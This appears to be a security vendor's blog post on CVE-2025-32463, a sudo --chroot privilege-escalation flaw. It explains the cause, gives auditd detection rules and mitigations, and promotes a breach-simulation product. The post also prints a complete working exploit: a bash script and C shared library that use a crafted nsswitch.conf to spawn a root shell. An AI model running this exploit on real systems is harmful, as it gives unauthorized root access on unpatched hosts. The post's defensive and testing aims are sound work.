Elevating privileges with a single command: exploiting CVE-2025-32463

Persistence is in our name, and gaining persistent root access is often the crown jewel of any attack chain. Today, we're diving deep into CVE-2025-32463, a critical vulnerability that turns sudo's security model on its head, allowing any local user to become root with a single command - even if they're not in the sudoers file.

This vulnerability caught our attention not just for its severity (CVSS 9.3), but because when sudo itself becomes the attack vector most security controls are caught off guard. That's the time for security teams to reassess their privilege escalation mitigation and detection strategies.

The vulnerability that shouldn't exist

CVE-2025-32463 affects sudo versions 1.9.14 through 1.9.17, exploiting a design flaw in how the --chroot option handles path resolution. The vulnerability allows attackers to load arbitrary shared libraries through a malicious /etc/nsswitch.conf file, completely bypassing sudoers restrictions.

What makes this particularly interesting from an offensive security perspective is the attack's elegance. The vulnerability leverages sudo's own functionality against itself - a classic example of turning a security feature into a security flaw. The chroot option, designed to provide isolation, instead becomes the gateway to complete system compromise.

Technical deep dive: from chroot to root

As a gatekeeper for access to privileged access (in most cases root), sudo itself has to have highest privileges by having the suid-flag. This flag tells the operating system that a process started from the executable will run with the same uid as the owner of that file, in this case 0 - root. Programs with such privileges usally have to control tightly what they allow lower privileged users to do. In case of sudo this is checking the /etc/sudoers file to determine if the current user is allowed to be granted higher privileges.

The vulnerability stems from a change introduced in sudo 1.9.14 where path resolution occurs within the user-controlled chroot environment before sudoers policy evaluation. Here's how the attack unfolds:

#!/bin/bash
# The attacker creates a malicious directory structure
mkdir -p /tmp/exploit/pwn/etc
mkdir -p /tmp/exploit/libnss_
cd /tmp/exploit
# Create a custom nsswitch.conf pointing to our malicious library
echo "passwd: /exploit" > /tmp/exploit/pwn/etc/nsswitch.conf
# Create the malicious shared library
cat > /tmp/exploit/exploit.c <<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void pwn(void) {

    setreuid(0,0);

    setregid(0,0);

    chdir("/");

    execl("/bin/bash", "/bin/bash", NULL);

}

EOF

# Copying /etc/group into the fake /etc directory to replicate system group configuration within the exploit's crafted environment
cp /etc/group /tmp/exploit/pwn/etc

# Compile as a shared library that NSS will load
gcc -shared -fPIC -Wl,-init,pwn -o /tmp/exploit/libnss_/exploit.so.2 /tmp/exploit/exploit.c

# Trigger the vulnerability
sudo -R pwn id

# We now have a root shell

The beauty of this exploit lies in its simplicity. By controlling the chroot directory, attackers control what files sudo reads during its initialization phase, so before any security checks are performed! Since NSS (Name Service Switch) library loading happens before privilege dropping, any code in our malicious library executes with full root privileges.

Why legacy versions remain unaffected

Interestingly, sudo versions prior to 1.9.14 are not vulnerable. This isn't due to better security practices in older versions, but rather because they lack the problematic feature entirely. The chroot functionality was introduced relatively recently, and with it came this critical design flaw.

This pattern - new features introducing unexpected attack surfaces - is something we frequently simulate in our Nemesis BAS platform. Complex software evolves, and with each new capability comes potential security implications that may not be immediately apparent.

Distributions started to patch the issue, so if you got unattended upgrades enabled the issue might already be patched.

Ubuntu Patched Version

Are you patched already? This can be hard to determine, therefore it's important that information and tools are available to test this.

Real-world exploitation scenarios

While no active exploitation has been reported in the wild yet, the risk profile is concerning. Consider these attack scenarios we've modeled:

Container breakout amplification: In containerized environments where sudo is present, this vulnerability can turn a container escape into immediate root access on the host system.

Post-compromise privilege escalation: For attackers who've gained initial access through phishing or web application vulnerabilities, CVE-2025-32463 provides a reliable path to root. Unlike kernel exploits that may crash the system, this sudo vulnerability offers stable, repeatable privilege escalation.

Insider threat scenarios: Perhaps most concerning, any local user - including legitimate employees - can exploit this vulnerability. Secure configuration and privilege separation becomes meaningless when sudo itself is the weak link.

Detection challenges and opportunities

Detecting exploitation of CVE-2025-32463 presents interesting challenges. The attack can appear as legitimate sudo usage in logs, making traditional SIEM rules insufficient. However, there are telltale signs that you can for example find with auditd:

# Auditd rule to catch suspicious chroot usage

-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo -F a1="-R" -k sudo_chroot_exploit

# Look for unusual nsswitch.conf locations

-w /tmp -p w -k tmp_nsswitch_creation

By simulating the attack safely in production environments, security teams can validate their detection capabilities before real attackers strike.

Mitigation strategies beyond patching

While updating to sudo 1.9.17p1 is the definitive fix, real-world patch deployment takes time. Here's our recommended defense-in-depth approach:

Immediate actions:

1. Implement monitoring for sudo chroot usage - it's rarely used in production

2. Deploy MAC policies (SELinux/AppArmor) to restrict library loading

3. Execute a breach and attack simulation scenario that checks if systems are already patched

Long-term improvements:

• Implement privilege access management (PAM) solutions

• Deploy runtime security monitoring for abnormal privilege escalations and execution of commands on systems that should not occur
  

The broader implications

CVE-2025-32463 represents more than just another privilege escalation vulnerability. It highlights how security assumptions can be violated when software complexity increases. The sudo project's decision to deprecate and eventually remove the chroot feature entirely shows they recognize the inherent security challenges.

For offensive security professionals, this vulnerability provides several valuable lessons:

• Legacy security tools can harbor modern vulnerabilities, even if audited before

• Feature interactions create unexpected attack surfaces

• User-controlled inputs in privileged contexts remain dangerous
  

Testing your defenses

The availability of public proof-of-concept code makes this an ideal candidate for breach and attack simulation. By safely executing this attack in controlled environments, organizations can:

• Validate patch deployment completeness

• Test detection and response capabilities

• Train SOC teams on real-world attack patterns

This is exactly the type of current, relevant attack technique we continuously integrate into Nemesis. Rather than relying on outdated vulnerability lists, we ensure our simulation library reflects the threats your organization faces today.

Conclusion

CVE-2025-32463 serves as a stark reminder that security is an ongoing process, not a destination. By understanding these vulnerabilities deeply and testing our defenses proactively, we move from reactive patching to proactive security posture management.

Our Nemesis platform includes this and other cutting-edge attack simulations, allowing you to validate your security controls against the exact techniques attackers would use. Because in the end, the best way to defend against an attack is to attempt it yourself - safely, controlled, and with full visibility into your detection capabilities.

Ready to test your defenses against CVE-2025-32463 and other critical vulnerabilities? Our team can show you exactly how your current security stack would respond to these real-world attack techniques.